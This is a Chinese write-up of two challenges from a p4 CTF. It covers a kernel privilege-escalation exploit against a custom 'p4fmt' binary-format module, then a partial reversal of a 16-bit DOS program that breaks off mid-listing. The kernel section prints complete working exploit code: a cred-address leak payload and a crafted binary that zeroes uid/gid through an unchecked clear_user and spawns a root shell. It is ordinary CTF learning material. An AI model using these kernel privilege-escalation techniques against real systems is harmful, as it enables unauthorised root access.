周末p4主办的比赛,主要分析一下其中的一道Kernel PWN和一道逆向
p4fmt
Analyze
拿到题目,解压后一共三个文件:
bzImage#内核映像
initramfs.cpio.gz#文件系统
run.sh#qemu启动脚本
qemu启动脚本启动后看到:
====================
p4fmt
====================
Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.
You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?
We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.
根据信息,是一道kernel pwn,flag在根目录,但是只有root可读,需要我们提升权限
且内部定义了一种可执行文件格式
查看文件系统的init脚本:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
insmod /p4fmt.ko
sleep 2
ln -s /dev/console /dev/ttyS0
cat <
注意两个地方:
insmod /p4fmt.ko 加载了p4fmt模块
setsid cttyhack su pwn 以pwn用户启动
首先提取p4fmt模块binary:
gunzip ./initramfs.cpio.gz
cpio -idmv < initramfs.cpio
拿到文件后,ida分析
看到其定义的p4fmt可执行文件格式以及载入过程:
__int64 __fastcall load_p4_binary(__int64 a1)
{
signed __int64 v1; // rcx
_BYTE *v2; // rsi
__int64 v3; // r12
__int64 v4; // rbx
_BYTE *v5; // rdi
unsigned __int64 v6; // r14
bool v7; // cf
bool v8; // zf
__int64 v9; // r13
unsigned int v10; // ebp
char v12; // al
signed __int64 v13; // r12
signed __int64 v14; // rsi
unsigned __int64 v15; // rax
map_info *v16; // r12
__int64 v17; // ST00_8
signed __int64 v18; // r14
unsigned __int64 v19; // r15
__int64 v20; // r9
__int64 v21; // rdx
__int64 v22; // rcx
__int64 v23; // r8
v1 = 2LL;
v2 = &fmt_header;
v3 = a1 + 0x48;
v4 = a1;
v5 = (_BYTE *)(a1 + 0x48);
v6 = __readgsqword((unsigned __int64)¤t_task);
v7 = 0;
v8 = 0;
v9 = *(_QWORD *)(v6 + 0x2A0);
do // cmp headers
{
if ( !v1 )
break;
v7 = *v2 < *v5;
v8 = *v2++ == *v5++;
--v1;
}
while ( v8 );
if ( (!v7 && !v8) != v7 )
return (unsigned int)-8;
JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
if ( *(_BYTE *)(v4 + 0x4B) > 1u )
return (unsigned int)-22;
v10 = flush_old_exec(v4, v2); // clear the environment
if ( !v10 )
{
*(_DWORD *)(v6 + 0x80) = 0x800000;
setup_new_exec(v4);
v12 = *(_BYTE *)(v4 + 0x4B);
if ( v12 ) // type=1
{
if ( v12 != 1 )
return (unsigned int)-22;
if ( *(_DWORD *)(v4 + 0x4C) ) // map_time
{
v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
do
{
v17 = v16->load_addr;
v18 = v16->load_addr & 7;
v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
printk(
"vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
v19,
v16->length,
v16->offset,
v18);
v20 = v16->offset;
v21 = v16->length;
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
++v16;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );
}
}
else //type=0
{
v13 = -12LL;
if ( (unsigned __int64)vm_mmap(
*(_QWORD *)(v4 + 8),
*(_QWORD *)(v4 + 80),
4096LL,
*(_QWORD *)(v4 + 80) & 7LL,
2LL,
0LL) > 0xFFFFFFFFFFFFF000LL )
{
LABEL_12:
install_exec_creds(v4);
set_binfmt(&p4format);
v14 = 0x7FFFFFFFF000LL;
v15 = __readgsqword((unsigned __int64)¤t_task);
if ( *(_QWORD *)v15 & 0x20000000 )
{
v14 = 0xC0000000LL;
if ( !(*(_BYTE *)(v15 + 131) & 8) )
v14 = 0xFFFFE000LL;
}
v10 = setup_arg_pages(v4, v14, 0LL);
if ( !v10 )
{
finalize_exec(v4);
start_thread(
v9 + 16216,
v13,
*(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x100) + 0x28LL));
}
return v10;
}
}
v13 = *(_QWORD *)(v4 + 88);
goto LABEL_12;
}
return v10;
}
可以看到:
首先检验文件头是否为"P4"以及version是否为0
而后调用一次flush_old_exec清理空间
而后通过version后一字节判断type来确定加载方式
注意到第一种加载方式:
if ( v12 ) // type=1
{
if ( v12 != 1 )
return (unsigned int)-22;
if ( *(_DWORD *)(v4 + 0x4C) ) // map_time
{
v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
do
{
v17 = v16->load_addr;
v18 = v16->load_addr & 7;
v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
printk(
"vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
v19,
v16->length,
v16->offset,
v18);
v20 = v16->offset;
v21 = v16->length;
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
++v16;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );
}
}
首先会通过type后一字节决定操作次数
而后通过一个map_info结构体来调用vm_mmap和clear_user
其中会把调用参数通过printk输出
map_info:
00000000 map_info struc ; (sizeof=0x18, mappedto_3)
00000000 load_addr dq ?
00000008 length dq ?
00000010 offset dq ?
00000018 map_info ends
同时可以看到:
LABEL_12:
install_exec_creds(v4);
set_binfmt(&p4format);
v14 = 0x7FFFFFFFF000LL;
v15 = __readgsqword((unsigned __int64)¤t_task);
if ( *(_QWORD *)v15 & 0x20000000 )
{
v14 = 0xC0000000LL;
if ( !(*(_BYTE *)(v15 + 131) & 8) )
v14 = 0xFFFFE000LL;
}
v10 = setup_arg_pages(v4, v14, 0LL);
if ( !v10 )
{
finalize_exec(v4);
start_thread(
v9 + 16216,
v13,
*(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x100) + 0x28LL));
}
return v10;
}
}
v13 = *(_QWORD *)(v4 + 0x58);
goto LABEL_12;
程序会以文件偏移0x58-0x48=0x10处的值作为程序入口点
而后执行: install_exec_creds:
void install_exec_creds(struct linux_binprm *bprm)
{
security_bprm_committing_creds(bprm);
commit_creds(bprm->cred);
bprm->cred = NULL;
if (get_dumpable(current->mm) != SUID_DUMP_USER)
perf_event_exit_task(current);
security_bprm_committed_creds(bprm);
mutex_unlock(¤t->signal->cred_guard_mutex);
}
所以可执行文件整体格式:
"P4\x00"
(char)type
(int)map_info_num
(long)map_info_offset
(long)entry
((map_info struct)map_info)*map_info_num
the_code_will_exec
因此我们需要想办法使我们的最后code运行在root身份下
此时code只需执行shell或者读取/flag操作即可
注意到加载过程中根据map_info程序会有clear_user操作:
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}
但是程序并没有检测此处指针
根据前面的 install_exec_creds,程序会根据commit_creds(bprm->cred)来设置线程权限
因此我们可以传入clear_user一个指针指向此cred结构体特定位置来覆盖uid和gid来提升线程权限,而后commit_creds(bprm->cred)即会根据我们覆盖后的fake_cred来设置线程权限执行我们的code
关于linux_binprm:
struct linux_binprm {
char buf[BINPRM_BUF_SIZE];
#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
struct page *page[MAX_ARG_PAGES];
#endif
struct mm_struct *mm;
unsigned long p; /* current top of mem */
unsigned long argmin; /* rlimit marker for copy_strings() */
unsigned int
/*
* True after the bprm_set_creds hook has been called once
* (multiple calls can be made via prepare_binprm() for
* binfmt_script/misc).
*/
called_set_creds:1,
/*
* True if most recent call to the commoncaps bprm_set_creds
* hook (due to multiple prepare_binprm() calls from the
* binfmt_script/misc handlers) resulted in elevated
* privileges.
*/
cap_elevated:1,
/*
* Set by bprm_set_creds hook to indicate a privilege-gaining
* exec has happened. Used to sanitize execution environment
* and to set AT_SECURE auxv for glibc.
*/
secureexec:1;
#ifdef __alpha__
unsigned int taso:1;
#endif
unsigned int recursion_depth; /* only for search_binary_handler() */
struct file * file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
unsigned int per_clear; /* bits to clear in current->personality */
int argc, envc;
const char * filename; /* Name of binary as seen by procps */
const char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
} __randomize_layout;
关于cred:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
cred是每个线程记录本线程权限的结构体
当我们将uid和gid覆盖为0即可使此线程获得root权限
(root运行下uid和gid皆为0)
Debug
关于调试和leak cred
首先为了便于调试,将身份改为root,修改init脚本并重新打包文件系统:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
insmod /p4fmt.ko
sleep 2
ln -s /dev/console /dev/ttyS0
cat <
而后重新打包文件系统:
find . | cpio -o -H newc |gzip -9 > ../kirin.cpio.gz
而后从bzImage提取vmlinux便于调试:
#!/bin/sh
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me " >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
运行:
kirin.sh ./bzImage > ./vmlinux
最后更改qemu启动脚本以便调试内核:
#!/bin/bash
qemu-system-x86_64 -s -kernel ./bzImage \
-initrd ./kirin.cpio.gz \
-nographic \
-append "console=ttyS0 nokaslr" \
#-s:1234端口调试内核
#nokaslr关闭内核地址随机,便于调试
运行gdb连接即可:
/ # whoami
root
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0000000 (O)
qemu虚拟机下看到p4fmt模块的加载地址
连接gdb并加载符号表:
gdb ./vmlinux
target remote 127.0.0.1:1234
add-symbol-file ./p4fmt.ko 0xffffffffc0000000
关于leak:
在load_p4_binary调用install_exec_creds时下断点
b *0xffffffffc00000af
而后随意写一个满足上面格式的程序运行,gdb断在install_exec_creds以便查看cred相对bprm的偏移
实际上可以直接查看汇编:
x/10i 0xffffffffc00000af
pwndbg> x/10i 0xffffffffc00000af
0xffffffffc00000af : call 0xffffffff81189ec0
0xffffffffc00000b4 : mov rdi,0xffffffffc0002000
0xffffffffc00000bb : call 0xffffffff8118a130
0xffffffffc00000c0 : movabs rsi,0x7ffffffff000
0xffffffffc00000ca : mov rax,QWORD PTR gs:0x14d40
0xffffffffc00000d3 : mov rdx,QWORD PTR [rax]
0xffffffffc00000d6 : test edx,0x20000000
0xffffffffc00000dc : je 0xffffffffc00000f3
0xffffffffc00000de : test BYTE PTR [rax+0x83],0x8
0xffffffffc00000e5 : mov esi,0xc0000000
跟进0xffffffff81189ec0:
pwndbg> x/10i 0xffffffff81189ec0
=> 0xffffffff81189ec0: push rbx
0xffffffff81189ec1: mov rbx,rdi
0xffffffff81189ec4: call 0xffffffff81297aa0
0xffffffff81189ec9: mov rdi,QWORD PTR [rbx+0xe0]
0xffffffff81189ed0: call 0xffffffff81073d30
0xffffffff81189ed5: mov QWORD PTR [rbx+0xe0],0x0
0xffffffff81189ee0: mov rdi,QWORD PTR gs:0x14d40
0xffffffff81189ee9: mov rax,QWORD PTR [rdi+0x100]
0xffffffff81189ef0: mov rax,QWORD PTR [rax+0x148]
0xffffffff81189ef7: and eax,0x3
可以看到偏移位置为0xe0
随意运行一个调试:
pwndbg> x/30xg 0xffff8880077b2400
0xffff8880077b2400: 0xffff888007530020 0xffff8880077d7280
0xffff8880077b2410: 0x0000000000000000 0xffff888007530020
0xffff8880077b2420: 0x0000000000000000 0x00007fffffdff030
0xffff8880077b2430: 0x0000000000000000 0x0000000000000000
0xffff8880077b2440: 0x0000000600000000 0x0000000101003450
0xffff8880077b2450: 0x0000000000000090 0xffffffff89262008
0xffff8880077b2460: 0x0000000000002000 0x0000000000000000
0xffff8880077b2470: 0x6262626262626262 0x6161616161616161
0xffff8880077b2480: 0x6161616161616161 0x6161616161616161
0xffff8880077b2490: 0x6161616161616161 0x6161616161616161
0xffff8880077b24a0: 0x6161616161616161 0x6161616161616161
0xffff8880077b24b0: 0x6161616161616161 0x6161616161616161
0xffff8880077b24c0: 0x6161616161616161 0x00007fffffffefae
0xffff8880077b24d0: 0x0000000100000001 0x0000000000000000
0xffff8880077b24e0: 0xffff88800756c3c0 0x0000000000000000
pwndbg> x/20xg 0xffff88800756c3c0
0xffff88800756c3c0: 0x0000000000000000 0xffff88800770f440
0xffff88800756c3d0: 0x0000003fffffffff 0x0000000000000000
0xffff88800756c3e0: 0x0000000000000000 0x0000000000000000
0xffff88800756c3f0: 0xffffffff00000000 0x000000000000003f
0xffff88800756c400: 0x0000003fffffffff 0x0000000000000000
0xffff88800756c410: 0x0000000000000000 0x0000000000000000
0xffff88800756c420: 0x0000000000000000 0xffffffff81c38280
0xffff88800756c430: 0x0000000000000000 0x0000000000000000
0xffff88800756c440: 0x0000000000000001 0x0000000000000000
0xffff88800756c450: 0x0000000000000000 0x0000000000000000
可以看到偏移0xe0位置为0xffff88800756c3c0
而0xffff88800756c3c0下对应uid和gid位置都为0(debug时是root身份)
同而注意到程序会打印vmmap和clear_user的参数
因此可以将map_info_offset指向这里来vmmap(偏移位置为0xe0,即距离文件头偏移:0xe0-0x48=0x98位置,但是load_addr有位运算操作再传参并输出,因此这里选择设置map_info_offset为0x90,使length为cred_addr并leak),此时即会打印出cred的地址,虽然最后会crash,不过能leak一次cred地址
这里注意,开启内核地址随机化时cred地址线程间并不相同
但是真实环境下可以观察到cred地址会是一组地址的循环,因此可以预估下次程序启动时cred地址从而覆盖掉uid和gid完成提权
leak:
from pwn import *
payload = ""
payload += "P4"
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0) # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=
echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin
chmod +x /tmp/kirin
/tmp/kirin
可以看到cred地址规律:
/tmp $ ./kirin
[ 310.536033] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[ 310.538726] kirin[559]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 310.543394] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 311.480867] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[ 311.483814] kirin[560]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 311.486224] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 312.793369] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[ 312.797228] kirin[561]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 312.804765] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 314.042323] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[ 314.045054] kirin[562]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 314.047779] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 315.349773] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[ 315.352563] kirin[563]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 315.357168] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 316.229283] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[ 316.232561] kirin[564]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 316.234984] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 316.954076] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[ 316.957635] kirin[565]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 316.960276] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 317.663571] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[ 317.667293] kirin[566]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 317.669847] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 318.516134] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[ 318.518924] kirin[567]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 318.522188] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 319.341463] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[ 319.343774] kirin[568]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 319.346129] Code: Bad RIP value.
Segmentation fault
/tmp $
可以看到每五个一个循环(至少在短时间内是这样)
所以我们完全可以leak出一次循环后猜测下次cred位置,而后提权到root拿到flag
但是我在编写exp时遇到了问题
最初想法是leak出五个地址,而后利用循环预测
但是其实一段时间之后,这五个地址会变化,不过也会循环,这样虽然可以把所有可能情况列举生成exp,然后再预测,不过有点太麻烦
所以最终选择leak处一个地址后直接循环此exp,减小中间的时间(我并不确定内核的这种地址循环是时间还是轮数问题),很大地提高了命中率(约为100%)
EXP
from pwn import *
#context.log_level="debug"
def get_payload(addr):
payload="P4"
payload+=p8(0)#version
payload+=p8(1)#type
payload+=p32(2)#map_info_num
payload+=p64(0x18)#map_info_offset
payload+=p64(0x400048)#entry
payload+=p64(0x400000|7)#port=7->rwx
payload+=p64(0x1000)#length
payload+=p64(0)#offset
payload+=p64((addr|8)+0x10)#cred
payload+=p64(0x48)#overwrite_length
payload+=p64(0)
payload+=asm(shellcraft.amd64.sh(),arch="amd64")
return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
p.sendline("/tmp/exp")
p.recvuntil("/ ",timeout=1)
ans=p.recv(2)
print ans[0]
if ans[0]=='#':
print "Get Shell Successfully"
break
if i==9:
print "Failed this time,please try again!"
p.interactive()
Oldschool
比较简单的一道题目,16位程序逆向,IDA不支持F5,不过guidra支持反汇编为伪代码,但是看起来不太习惯,还是汇编舒服
首先看到程序整体流程:
seg001:0000 public start
seg001:0000 start proc near
seg001:0000 mov ax, seg seg002
seg001:0003 mov ss, ax
seg001:0005 mov ax, 190h
seg001:0008 mov sp, ax
seg001:000A mov ax, seg seg000
seg001:000D mov ds, ax
seg001:000F assume ds:seg000
seg001:000F mov si, 0
seg001:0012 mov ah, 9
seg001:0014 mov dx, 0A2h
seg001:0017 int 21h ; DOS - PRINT STRING
seg001:0017 ; DS:DX -> string terminated by "$"
seg001:0019 call sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al
seg001:002D call sub_10124
seg001:0030
seg001:0030 loc_10120: ; CODE XREF: sub_10148+73↓j
seg001:0030 mov ah, 4Ch
seg001:0032 int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg001:0032 start endp
首先输出A2偏移处的字符串(以"$"结尾):
seg001:0012 mov ah, 9
seg001:0014 mov dx, 0A2h
seg001:0017 int 21h
#Give me a flag to draw!\n$
而后调用了三个函数:
seg001:0019 call sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al
seg001:002D call sub_10124
首先看后面短的两个:
seg001:0034 sub_10124 proc near ; CODE XREF: start+2D↑p
seg001:0034 mov dl, 0Ah
seg001:0036 mov ah, 2
seg001:0038 int 21h ; DOS - DISPLAY OUTPUT
seg001:0038 ; DL = character to send to standard output
seg001:003A mov cx, 8
seg001:003D mov dx, si
seg001:003F
seg001:003F loc_1012F: ; CODE XREF: sub_10124+13↓j
seg001:003F add si, 11h
seg001:0042 mov al, 0Ah
seg001:0044 mov [si], al
seg001:0046 inc si
seg001:0047 loop loc_1012F
seg001:0049 add si, 11h
seg001:004C mov al, 24h ; '$'
seg001:004E mov [si], al
seg001:0050 mov ah, 9
seg001:0052 int 21h ; DOS - PRINT STRING
seg001:0052 ; DS:DX -> string terminated by "$"
seg001:0054 mov si, 0
seg001:0057 retn
seg001:0057 sub_10124 endp
很显然循环8次,从0开始(从start中看出此函数si起始值为0)每0x12字节写入一个换行符,最后一次写入"$"结束符,而后从dx(=0)位置输出字符串,其实就是对应题目给的flag.txt:
4 {4pp
p {k4{ E
p 44p{ p
4 p
S
所以我们最后需要输出和flag.txt一致即可
再看函数:
seg001:0125 sub_10215 proc near ; CODE XREF: start+1E↑p
seg001:0125 mov si, 0
seg001:0128 mov cx, 0A1h
seg001:012B
seg001:012B loc_1021B: ; CODE XREF: sub_10215+1A↓j
seg001:012B mov al, [si]
seg001:012D cmp al, 0Dh
seg001:012F ja short loc_10232
seg001:0131 push si
seg001:0132 mov si, 0BCh
seg001:0135 xor ah, ah
seg001:0137 add si, ax
seg001:0139 mov bl, [si]
seg001:013B pop si
seg001:013C
seg001:013C loc_1022C: ; CODE XREF: sub_10215+1F↓j
seg001:013C mov [si], bl
seg001:013E inc si
seg001:013F loop loc_1021B
seg001:0141 retn
seg001:0142 ; ---------------------------------------------------------------------------
seg001:0142
seg001:0142 loc_10232: ; CODE XREF: sub_10215+A↑j
seg001:0142 mov bl, 5Eh ; '^'
seg001:0144 jmp short loc_1022C
seg001:0144 sub_10215 endp
作用很明显,从0到0xA1位置,值大于0xD则替换为"^",否则根据值对应0xBC偏移位置的字符:
p4{krule_ctf}#注意最开始有空格
然后最开始调用的函数:
seg001:0058 ; =============== S U B R O U T I N E =======================================
seg001:0058
seg001:0058
seg001:0058 sub_10148 proc near ; CODE XREF: start+19↑p
seg001:0058 mov si, 0
seg001:005B add si, 50h ; 'P'
seg001:005E mov cx, 9
seg001:0061
seg001:0061 loc_10151: ; CODE XREF: sub_10148+4D↓j
seg001:0061 push cx
seg001:0062 mov cx, 2
seg001:0065 xor dl, dl
seg001:0067 mov bl, 10h
seg001:0069
seg001:0069 loc_10159: ; CODE XREF: sub_10148+29↓j
seg001:0069 mov ah, 1
seg001:006B int 21h ; DOS - KEYBOARD INPUT
seg001:006B ; Return: AL = character read
seg001:006D cmp al, 3Ah ; ':'
seg001:006F jb short loc_10198
seg001:0071 cmp al, 47h ; 'G'
seg001:0073 jb short loc_101AA
seg001:0075 cmp al, 67h ; 'g'
seg001:0077 jb short loc_101A0
seg001:0079 jmp short loc_101B4
seg001:007B ; ---------------------------------------------------------------------------
seg001:007B
seg001:007B loc_1016B: ; CODE XREF: sub_10148+56↓j
seg001:007B ; sub_10148+60↓j ...
seg001:007B mul bl
seg001:007D add dl, al
seg001:007F mov bl, 1
seg001:0081 loop loc_10159
seg001:0083 mov cx, 4
seg001:0086
seg001:0086 loc_10176: ; CODE XREF: sub_10148+4A↓j
seg001:0086 mov al, dl
seg001:0088 and al, 1
seg001:008A jz short loc_101DF
seg001:008C jmp short loc_101F8
seg001:008E ; ---------------------------------------------------------------------------
seg001:008E
seg001:008E loc_1017E: ; CODE XREF: sub_10148+9C↓j
seg001:008E ; sub_10148+A7↓j ...
seg001:008E mov al, dl
seg001:0090 and al, 2
seg001:0092 jz short loc_101BE
seg001:0094 jmp short loc_101CE
seg001:0096 ; ---------------------------------------------------------------------------
seg001:0096
seg001:0096 loc_10186: ; CODE XREF: sub_10148:loc_101CC↓j
seg001:0096 ; sub_10148:loc_101DD↓j
seg001:0096 push cx
seg001:0097 mov cl, 2
seg001:0099 shr dl, cl
seg001:009B pop cx
seg001:009C mov bl, [si]
seg001:009E inc bl
seg001:00A0 mov [si], bl
seg001:00A2 loop loc_10176
seg001:00A4 pop cx
seg001:00A5 loop loc_10151
seg001:00A7 retn
seg001:00A8 ; ---------------------------------------------------------------------------
seg001:00A8
seg001:00A8 loc_10198: ; CODE XREF: sub_10148+17↑j
seg001:00A8 cmp al, 2Fh ; '/'
seg001:00AA jb short loc_101B4
seg001:00AC sub al, 30h ; '0'
seg001:00AE jmp short loc_1016B
seg001:00B0 ; ---------------------------------------------------------------------------
seg001:00B0
seg001:00B0 loc_101A0: ; CODE XREF: sub_10148+1F↑j
seg001:00B0 cmp al, 60h ; '`'
seg001:00B2 jb short loc_101B4
seg001:00B4 sub al, 61h ; 'a'
seg001:00B6 add al, 0Ah
seg001:00B8 jmp short loc_1016B
seg001:00BA ; ---------------------------------------------------------------------------
seg001:00BA
seg001:00BA loc_101AA: ; CODE XREF: sub_10148+1B↑j
seg001:00BA cmp al, 40h ; '@'
seg001:00BC jb short loc_101B4
seg001:00BE sub al, 41h ; 'A'
seg001:00C0 add al, 0Ah
seg001:00C2 jmp short loc_1016B
seg001:00C4 ; ---------------------------------------------------------------------------
seg001:00C4
seg001:00C4 loc_101B4: ; CODE XREF: sub_10148+21↑j
seg001:00C4 ; sub_10148+52↑j ...
seg001:00C4 mov dx, 0CAh
seg001:00C7 mov ah, 9
seg001:00C9 int 21h ; DOS - PRINT STRING
seg001:00C9 ; DS:DX -> string terminated by "$"
seg001:00CB jmp loc_10120
seg001:00CE ; ---------------------------------------------------------------------------
seg001:00CE
seg001:00CE loc_101BE: ; CODE XREF: sub_10148+3A↑j
seg001:00CE mov bx, si
seg001:00D0 cmp bx, 11h
seg001:00D3 ja short loc_101C7
seg001:00D5 jmp short loc_101CC
seg001:00D7 ; ---------------------------------------------------------------------------
seg001:00D7
seg001:00D7 loc_101C7: ; CODE XREF: sub_10148+7B↑j
seg001:00D7 sub bx, 12h
seg001:00DA mov si, bx
seg001:00DC
seg001:00DC loc_101CC: ; CODE XREF: sub_10148+7D↑j
seg001:00DC jmp short loc_10186
seg001:00DE ; ---------------------------------------------------------------------------
seg001:00DE
seg001:00DE loc_101CE: ; CODE XREF: sub_10148+3C↑j
seg001:00DE mov bx, si
seg001:00E0 cmp bx, 8Fh
seg001:00E4 jb short loc_101D8
